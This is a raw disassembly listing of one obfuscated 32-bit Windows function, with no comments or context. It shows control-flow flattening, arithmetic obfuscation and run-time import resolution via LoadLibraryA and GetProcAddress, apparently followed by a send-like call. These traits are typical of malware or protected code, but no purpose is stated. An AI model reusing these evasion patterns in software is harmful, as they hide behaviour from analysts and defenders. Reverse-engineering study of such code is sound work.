cmp edx, 0xcd6a3c1f
jne 0x1006c8e6
mov edx, dword [esp]
cmp edx, 0x190f751e
mov edx, 0xccf0794b
mov ebp, 0x68bd91fc
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xcba850ee
mov edx, 0x35f5ab32
mov ebp, 0x9e0c0852
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x1e7edb45
mov edx, 0x9a584787
mov ebp, 0xdc3e4d11
cmovl edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x24a6d4
mov ecx, 0x45d9dfa6
mov edx, 0x86f2f3b8
jmp 0x10067d0f
mov ecx, 0x1725e660
mov edx, 0x3b336def
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x64d57466
mov edx, 0x7fb65376
mov ebp, 0x8e6afc28
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x96]
push eax
lea eax, [esp + 0x9c]
push eax
call fcn.10052010
add esp, 8
test eax, eax
mov eax, 0x15d31cc4
mov ecx, 0x2c40f546
cmove eax, ecx
jmp 0x1006c7ca
mov edx, dword [esp]
cmp edx, 0x1d5e18ec
mov edx, 0x31223948
mov ebp, 0xf37237ae
cmovl edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x8f9d714
mov ecx, 0x45d9dfa6
mov edx, 0xb127649f
jmp 0x10067d0f
mov edx, dword [esp]
cmp edx, 0xb8c6719e
mov edx, 0xcfcf378c
mov ebp, 0xf8839ac3
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xfd2f4473
mov edx, 0x386f9295
mov ebp, 0xd127d126
cmovl edx, ebp
jmp 0x10067d20
cmp byte [esp + 0x13], 0
mov eax, 0x49358656
mov ecx, 0x2402c44b
jmp 0x1006c7c7
mov edx, dword [esp]
cmp edx, 0x321098d2
mov edx, 0x57024a1
mov ebp, 0xd6d6264c
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xb8c6719e
mov edx, 0x57024a1
mov ebp, 0x10c453d9
cmove edx, ebp
jmp 0x10067d20
mov eax, dword [esp + 0x74]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x50], eax
cmp eax, 0xffffffff
mov eax, 0xa3825e0
jmp 0x1006be8a
mov edx, dword [esp]
cmp edx, 0x5d4e4e55
mov edx, 0xee7318fc
mov ebp, 0x1a411fd
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x5db5242b
mov edx, 0x57024a1
mov ebp, 0x56d98479
cmove edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x17a9c906
mov ecx, 0x45d9dfa6
mov edx, 0x7328fe6e
jmp 0x10067d0f
mov edx, dword [esp]
cmp edx, 0xd597877a
mov edx, 0xd01131a9
mov ebp, 0x7a88c046
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xf0d2635c
mov edx, 0x57024a1
mov ebp, 0x3a52b08
cmove edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x15d31cc4
mov ecx, 0x45d9dfa6
mov edx, 0xb8c6719e
jmp 0x10067d0f
mov ecx, dword [esp + 4]
cmp ecx, 0x5a1f70d7
mov ecx, 0x45d9dfa6
mov edx, 0xb8a51f18
jmp 0x10067d0f
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20b8]
call fcn.1005a630
test eax, eax
mov eax, 0x24a6d4
mov ecx, 0xe65b9b74
cmove eax, ecx
jmp 0x1006c7ca
mov edx, dword [esp]
cmp edx, 0xe03b48d1
mov edx, 0x57024a1
mov ebp, 0x2715c415
cmove edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x14861af1
mov ecx, 0x45d9dfa6
mov edx, 0x22540b06
jmp 0x10067d0f
mov eax, dword [esp + 0x6c]
mov byte [eax], 0
mov eax, dword [esp + 0x68]
push 0x10091a35
push dword [esp + 0x3c]
call eax
mov dword [esp + 0x48], eax
cmp dword [esp + 0x48], 0
mov eax, 0x69feef85
mov ecx, 0xa56ec294
cmove eax, ecx
mov ecx, 0x422e24fb
mov edx, dword [esp + 0x38]
mov dword [esp + 0x44], edx
mov edx, 0x3b336def
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xfd2f4473
mov edx, 0x57024a1
mov ebp, 0xd50142fc
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x1725e660
mov edx, 0xaf2d97e8
mov ebp, 0xa5878443
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x4c92bc4f
mov edx, 0x57024a1
mov ebp, 0x5ede595e
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x2f81d49e
mov edx, 0x879ca82e
mov ebp, 0xf9af8757
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xcba850ee
mov edx, 0x57024a1
mov ebp, 0x516f49e6
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x648f0208
mov edx, 0x57024a1
mov ebp, 0x515fee22
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x4eebfbf4
mov edx, 0x57024a1
mov ebp, 0x5cd41be0
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xe41e3861
mov edx, 0xc563b705
mov ebp, 0xe2342c68
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x43080587
mov edx, 0x57024a1
mov ebp, 0x5372273e
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x1725e660
mov edx, 0x57024a1
mov ebp, 0x208b9d10
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xe4364b35
mov edx, 0x57024a1
mov ebp, 0x5e9c27da
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x755511
mov edx, 0x57024a1
mov ebp, 0x6383a2ad
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xade8bedf
mov edx, 0xf54bbd28
mov ebp, 0x5f597737
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xd3eece87
mov edx, 0x2862888f
mov ebp, 0x8de7dbda
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x86f2f3b8
mov edx, 0x57024a1
mov ebp, 0x342026e8
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xb72c9798
mov edx, 0x6c5be79e
mov ebp, 0x87e7e31e
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x7db17a58
mov edx, 0x52152bfe
mov ebp, 0xa62aaedd
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xce7f16e7
mov edx, 0x68097c42
mov ebp, 0x46e30de2
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x422e24fb
mov edx, 0x57024a1
mov ebp, 0x5fe03a30
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x4238a089
mov edx, 0x6d45af82
mov ebp, 0xce163dcd
cmovl edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x14861af1
mov ecx, 0xd647aaad
mov edx, 0x1ceb625e
jmp 0x1006c8a3
mov edx, dword [esp]
cmp edx, 0x422e24fb
mov edx, 0xc69e18c5
mov ebp, 0x37ad8c19
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xb4884424
mov edx, 0x57024a1
mov ebp, 0xd9b743ef
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xd8cae42f
mov edx, 0xc94054d3
mov ebp, 0xf61a22c4
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xce0213e5
mov edx, 0x57024a1
mov ebp, 0xa6d5e784
cmove edx, ebp
jmp 0x10067d20
push 0x100918da
call edi
push 0x100918e5
push eax
call ebx
push dword [esp + 0x70]
call eax
mov dword [esp + 0x74], eax
cmp dword [esp + 0x74], 0
mov eax, 0xbe6216ef
mov ecx, 0xbc6b2536
cmove eax, ecx
jmp 0x1006c7ca
mov ecx, 0xfd2f4473
mov edx, 0x3b336def
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xbc6b2536
mov ecx, 0x45d9dfa6
mov edx, 0x60ccad66
jmp 0x10067d0f
mov edx, dword [esp]
cmp edx, 0x86ea452a
mov edx, 0x57024a1
mov ebp, 0xa86032a7
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x8637d1ed
mov edx, 0x50ef125d
mov ebp, 0x2fbe71eb
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x71c6734e
mov edx, 0x57024a1
mov ebp, 0x445687c5
cmove edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x53e3e520
mov ecx, 0x45d9dfa6
mov edx, 0x95fb1d43
jmp 0x10067d0f
mov ecx, dword [esp + 4]
cmp ecx, 0xd0a67771
mov ecx, 0x71c6734e
mov edx, 0x755511
jmp 0x1006c8a3
mov edx, dword [esp]
cmp edx, 0x23efd4a7
mov edx, 0x8916d3e6
mov ebp, 0xa279eeb4
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x45d9dfa6
mov edx, 0x57024a1
mov ebp, 0xdec515da
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x5d96001b
mov edx, 0x57024a1
mov ebp, 0xfc7ac5ab
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x45d9dfa6
mov edx, 0x14a9344d
mov ebp, 0x8a668715
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x1e7edb45
mov edx, 0x57024a1
mov ebp, 0x2416afdd
cmove edx, ebp
jmp 0x10067d20
mov eax, dword [esp + 0xc]
mov dword [esp + 0x60], eax
mov edx, dword [esp + 0x60]
mov ecx, edx
neg ecx
mov eax, ecx
and eax, 0x6895c3db
add eax, 0x2ed47848
mov esi, eax
sub esi, edx
mov edx, eax
xor edx, ecx
add edx, esi
mov esi, eax
or esi, ecx
not esi
add esi, edx
and eax, ecx
add eax, esi
or ecx, 0x976a3c24
sub eax, ecx
lea ecx, [eax + 1]
lea edx, [eax + eax]
add edx, 3
not ecx
lea ecx, [ecx + eax*2]
add ecx, 3
neg edx
add eax, edx
add eax, 1
and eax, 0x6895d3dc
mov edx, ecx
or edx, 0x976a2c23
add edx, eax
sub ecx, edx
imul eax, ecx, 0x38f1903d
lea ecx, [eax + 0xcbf2fff]
mov edx, 0x7340d000
sub edx, eax
and edx, 0x7f4a7b30
lea edx, [edx + eax*2]
add edx, 0x197e5ffe
or ecx, 0x7f4a7b30
sub edx, ecx
lea eax, [edx + 0x7f4a7b30]
lea ecx, [edx + edx]
add ecx, 0xfe94f660
not ecx
lea esi, [edx + ecx + 0x7f4a7b30]
lea edx, [edx*4 - 0x2d61340]
lea ecx, [edx + esi*2]
lea ebp, [edx + esi*2]
add ebp, 0xbb31e8c2
mov esi, eax
or esi, 0x44ce173f
mov edi, eax
and edi, 0xbb31e8c0
add edi, esi
sub esi, eax
lea ebx, [esi + ecx]
add ebx, 0xbb31e8c2
mov edx, ebp
xor edx, esi
add edx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
or ebp, esi
add ebp, ebp
sub ebp, edx
not esi
add esi, ebp
mov edx, eax
or edx, 0xbb31e8c0
sub esi, ecx
add edi, edx
sub edi, eax
lea eax, [esi + edi]
add eax, 0x899c2e7f
imul ecx, eax, 0xdf7c6ce1
mov edx, ecx
not edx
imul eax, eax, 0xbef8d9c2
and edx, 0xa00d6d55
add edx, eax
or ecx, 0xa00d6d55
sub edx, ecx
add edx, 0xa00d6d55
imul eax, edx, 0x9525d721
mov ecx, eax
not ecx
imul edx, edx, 0x2a4bae42
and edx, 0xa2530a16
add edx, eax
and ecx, 0xd129850b
add ecx, edx
or eax, 0x2ed67af4
sub ecx, eax
add ecx, 0x2ed67af4
imul eax, ecx, 0xdf7478eb
mov edx, eax
and edx, 0x93305664
mov esi, edx
xor esi, 0x93305664
add esi, edx
mov edx, eax
or edx, 0x93305664
sub esi, edx
sub esi, edx
add esi, edx
add esi, 1
lea edi, [eax + esi]
add esi, eax
add esi, 0xffffffff
imul ecx, ecx, 0x208b8715
add ecx, edi
add ecx, 0xffffffff
or esi, eax
lea esi, [ecx + esi*2]
lea ecx, [edx + 1]
neg edi
or edi, eax
lea esi, [esi + edi*2]
add esi, 2
mov edi, esi
and edi, ecx
add edi, edx
add edi, 1
xor ecx, esi
add ecx, edi
mov edi, 0xfffffffe
sub edi, edx
or edi, esi
add edi, ecx
not eax
add eax, edi
imul eax, eax, 0x4093ee5
lea ecx, [eax + 0xea50118]
mov edx, ecx
xor edx, 0x72543239
add eax, edx
add eax, 0xea50118
mov edx, ecx
or edx, 0x8dabcdc6
add edx, eax
not ecx
or ecx, 0x72543239
add ecx, edx
imul eax, ecx, 0x6dbb4eed
mov ecx, 0xb0a68560
sub ecx, eax
mov edx, ecx
and edx, 0x8c1d233b
add edx, eax
or ecx, 0x8c1d233b
add ecx, edx
add ecx, 0x73e2dcc5
mov edx, ecx
not edx
add edx, eax
add edx, 0x8c1d233b
add eax, 0x8c1d233b
mov esi, ecx
sub esi, eax
and esi, 0xf2eaa840
lea esi, [edx + esi*2]
mov edi, edx
or edi, 0xf2eaa840
sub esi, edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
or edx, 0xd1557bf
add edx, esi
mov esi, dword [esp + 0x4c]
sub eax, ecx
lea ecx, [edx + eax]
add eax, edx
add eax, 0xfbd910e6
mov edx, eax
xor edx, 0xf711975a
add edx, ecx
mov ecx, eax
not ecx
and ecx, 0x8ee68a5
add ecx, edx
and eax, 0xf711975a
add eax, ecx
imul ecx, eax, 0x7649ba05
lea eax, [ecx + 0x5ce1953e]
mov edx, eax
and edx, 0xa14b09
lea ecx, [ecx + edx*2]
add ecx, 0x5ce1953e
mov edx, eax
xor edx, 0x80a14b09
add edx, ecx
mov ecx, eax
not ecx
and ecx, 0x80a14b09
add ecx, edx
or eax, 0x80a14b09
sub ecx, eax
imul eax, ecx, 0xc31a02cd
add eax, 0x4256d7cb
mov ecx, dword [esp + 0x90]
push 0
push eax
push dword [esp + 0x10]
push esi
call ecx
mov dword [esp + 0x64], eax
cmp dword [esp + 0x64], 0
mov eax, 0x5d51ff87
mov ecx, 0x5a1f70d7
cmovle eax, ecx
jmp 0x1006c7ca
mov ecx, dword [esp + 4]
cmp ecx, 0x227c9fbd
mov ecx, 0x4c92bc4f
mov edx, 0x7dd0758b
jmp 0x1006c8a3
mov edx, dword [esp]
cmp edx, 0xb8a51f18
mov edx, 0x50d69587
mov ebp, 0x3fd836a0
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x1ceb625e
mov edx, 0xbaf2c63d
mov ebp, 0xdcf91fb3
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xcdb89599
mov edx, 0x8ade6a5a
mov ebp, 0xdc3f4ca
cmovl edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xa3825e0
mov ecx, 0x65ba9e81
mov edx, 0x5db5242b
jmp 0x1006c8a3
mov edx, dword [esp]
cmp edx, 0xff56b5dc
mov edx, 0x57024a1
mov ebp, 0x5f676632
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x71c6734e
mov edx, 0xa3e35097
mov ebp, 0xc690bd98
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xb72c9798
mov edx, 0x57024a1
mov ebp, 0xb084cb0a
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x4238a089
mov edx, 0x57024a1
mov ebp, 0x89482fee
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x22540b06
mov edx, 0xd37375d8
mov ebp, 0x19bddb07
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x321098d2
mov edx, 0x72e03d31
mov ebp, 0x9f6eca36
cmovl edx, ebp
jmp 0x10067d20
mov edx, 0xee28142d
jmp 0x10067d20
movzx edx, word [esp + 0x96]
mov ecx, dword [esp + 0x50]
call fcn.1004e8e0
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
cmp eax, 0xffffffff
mov eax, 0xc16e9986
mov ecx, 0xc7544056
cmove eax, ecx
jmp 0x1006c7ca
mov edx, dword [esp]
cmp edx, 0xcdb89599
mov edx, 0x57024a1
mov ebp, 0x2a374957
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xb127649f
mov edx, 0x57024a1
mov ebp, 0xde7471d2
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x59d695b
mov edx, 0x57024a1
mov ebp, 0x3bb8896c
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x23efd4a7
mov edx, 0x57024a1
mov ebp, 0x12d82e93
cmove edx, ebp
jmp 0x10067d20
mov edx, 0x3b336def
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xb4884424
mov edx, 0x43288cab
mov ebp, 0x8dc95556
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x5db5242b
mov edx, 0x9c000144
mov ebp, 0x14cf05e8
cmovl edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xc7544056
mov ecx, 0x45d9dfa6
mov edx, 0x20268ba0
jmp 0x10067d0f
mov ecx, dword [esp + 4]
cmp ecx, 0xbe6216ef
mov ecx, 0x2f81d49e
mov edx, 0xd7fed49f
jmp 0x1006c8a3
mov ecx, dword [esp + 4]
cmp ecx, 0x12f7149d
mov ecx, 0x45d9dfa6
mov edx, 0x96d9dad6
jmp 0x10067d0f
mov edx, dword [esp]
cmp edx, 0xd8cae42f
mov edx, 0x57024a1
mov ebp, 0x3295c5f7
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x1f23d1d5
mov edx, 0xc87a60f1
mov ebp, 0x9f5902a2
cmovl edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xc16e9986
mov ecx, 0x3b5ba02d
mov edx, 0x43efc599
jmp 0x1006c8a3
mov edx, dword [esp]
cmp edx, 0xff56b5dc
mov edx, 0xf1021783
mov ebp, 0x74ede375
cmovl edx, ebp
jmp 0x10067d20
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x28]
push 0
push eax
push dword [esp + 0x3c]
push dword [esp + 0x48]
call ecx
mov ecx, 0x422e24fb
mov eax, 0x14861af1
mov edx, dword [esp + 0x3c]
mov dword [esp + 0x24], edx
mov edx, 0x3b336def
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xf51b99cb
mov edx, 0x57024a1
mov ebp, 0x31cf26a2
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x60ccad66
mov edx, 0x57024a1
mov ebp, 0x660aeb3e
cmove edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x12f7149d
mov ecx, 0xcdb89599
mov edx, 0xb72c9798
jmp 0x1006c8a3
mov edx, dword [esp]
cmp edx, 0xdb41ffb2
mov edx, 0x57024a1
mov ebp, 0x96f03467
cmove edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x53e3e520
mov ecx, 0x4eebfbf4
mov edx, 0xf51b99cb
jmp 0x1006c8a3
mov ecx, dword [esp + 4]
cmp ecx, 0x15d31cc4
mov ecx, 0xe4364b35
mov edx, 0x23f890b0
jmp 0x1006c8a3
mov edx, dword [esp]
cmp edx, 0xad23cc7
mov edx, 0x57024a1
mov ebp, 0x4e292e2f
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xadc81f5c
mov edx, 0x57024a1
mov ebp, 0x7a532d26
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x1f23d1d5
mov edx, 0x57024a1
mov ebp, 0x5a089d6b
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x8d5a52c8
mov edx, 0x57024a1
mov ebp, 0xdbb5faba
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xbef975f7
mov edx, 0x57024a1
mov ebp, 0xfeccc08b
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x7328fe6e
mov edx, 0x57024a1
mov ebp, 0x1893704e
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xd7fed49f
mov edx, 0xdd1c4cab
mov ebp, 0xb0e08525
cmovl edx, ebp
jmp 0x10067d20
mov ecx, 0x422e24fb
mov eax, dword [esp + 0x78]
mov edx, 0x3b336def
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x65ba9e81
mov edx, 0x57024a1
mov ebp, 0xcc23272a
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x79574bf0
mov edx, 0xc617cf81
mov ebp, 0xec67bb0b
cmovl edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xa3825e0
mov ecx, 0x45d9dfa6
mov edx, 0xd3eece87
jmp 0x10067d0f
mov ecx, dword [esp + 4]
cmp ecx, 0x5794e924
mov ecx, 0x45d9dfa6
mov edx, 0x59d695b
jmp 0x10067d0f
mov edx, dword [esp]
cmp edx, 0xbef975f7
mov edx, 0xec9239e1
mov ebp, 0xf784691d
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x95fb1d43
mov edx, 0x57024a1
mov ebp, 0x7ca08c42
cmove edx, ebp
jmp 0x10067d20
cmp byte [esp + 0x7c], 0x43
sete byte [esp + 0x13]
cmp byte [esp + 0x13], 0
mov eax, 0xd0a67771
mov ecx, 0x53e3e520
cmovne eax, ecx
mov ecx, 0x422e24fb
mov edx, 0x3b336def
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xc7544056
mov ecx, 0x32f88ed2
mov edx, 0x86ea452a
jmp 0x1006c8a3
mov edx, dword [esp]
cmp edx, 0xce7f16e7
mov edx, 0x57024a1
mov ebp, 0x9d5ff76
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xd7fed49f
mov edx, 0x57024a1
mov ebp, 0xc5784c0e
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x56f09ffd
mov edx, 0x5e1c6c68
mov ebp, 0x4e9a64e5
cmovl edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x22540b06
mov edx, 0x57024a1
mov ebp, 0xcd412c87
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0xf51b99cb
mov edx, 0x3ce0ec35
mov ebp, 0xa433819b
cmovl edx, ebp
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x8f9d714
mov ecx, 0x1d5e18ec
mov edx, 0xce0213e5
jmp 0x1006c8a3
mov ecx, dword [esp + 4]
cmp ecx, 0xe65b9b74
mov ecx, 0x23efd4a7
mov edx, 0x5d4e4e55
cmovl ecx, edx
mov edx, 0x3b336def
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x71c52f1a
mov edx, 0x57024a1
mov ebp, 0x43b219f3
cmove edx, ebp
jmp 0x10067d20
mov edx, dword [esp]
cmp edx, 0x95fb1d43
mov edx, 0x48fdfe9b
mov ebp, 0x198c17b3
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xcd412c87
jne 0x10067d20
mov eax, dword [esp + 0x58]
mov eax, dword [esp + 0x54]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x209c]
xor ecx, esp
call fcn.1007d79c
mov eax, dword [esp + 0x24]
add esp, 0x20a0
pop esi
pop edi
pop ebx
pop ebp
ret